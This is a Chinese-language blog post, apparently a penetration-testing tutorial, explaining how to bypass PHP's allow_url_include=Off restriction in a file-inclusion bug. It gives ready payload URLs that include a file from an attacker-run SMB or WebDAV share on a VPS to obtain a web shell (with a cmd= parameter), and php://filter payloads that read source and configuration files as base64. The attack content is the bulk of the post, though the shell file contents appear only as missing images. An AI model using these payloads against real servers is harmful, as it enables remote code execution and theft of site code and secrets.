php文件包含漏洞(allow_url_include=Off)的绕过方法

分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法。

1

假设服务端的php代码(aaa.php)如下图所示:

第1种:smb协议

Payload:http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm

2

这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器.

首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示:

3

然后在/home/share目录创建abc1238.htm文件,文件内容为:

最后启动Samba服务,访问http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm即可绕过allow_url_include = Off的限制GetShell。

第2种:WebDAV

Payload:http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();

4

这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。

首先在VPS上搭建WebDAV环境,我是基于Ubuntu+Apache httpd搭建的WebDAV环境。

然后在WebDAV目录下创建code.htm文件,文件内容为:

最后启动Apache httpd服务器,访问http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();即可绕过allow_url_include = Off的限制GetShell。

第3种:php://filter/

利用php://filter/不能直接GetShell,但可以读取网站php代码文件,然后进行代码分析。或读取网站配置文件等其他重要文件。

Payload:

http://127.0.0.1/aaa.php?path=php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/index.php

http://192.168.56.130/aaa.php?path=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php

5

执行上述Payload会将D:/phpStudy/WWW/drupal-7.54/index.php文件以base64编码形式返回。

这种方法在Linux和Windows服务器都可以。

附带参考链接:

https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx

https://www.cnblogs.com/iamstudy/articles/include_file.html

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!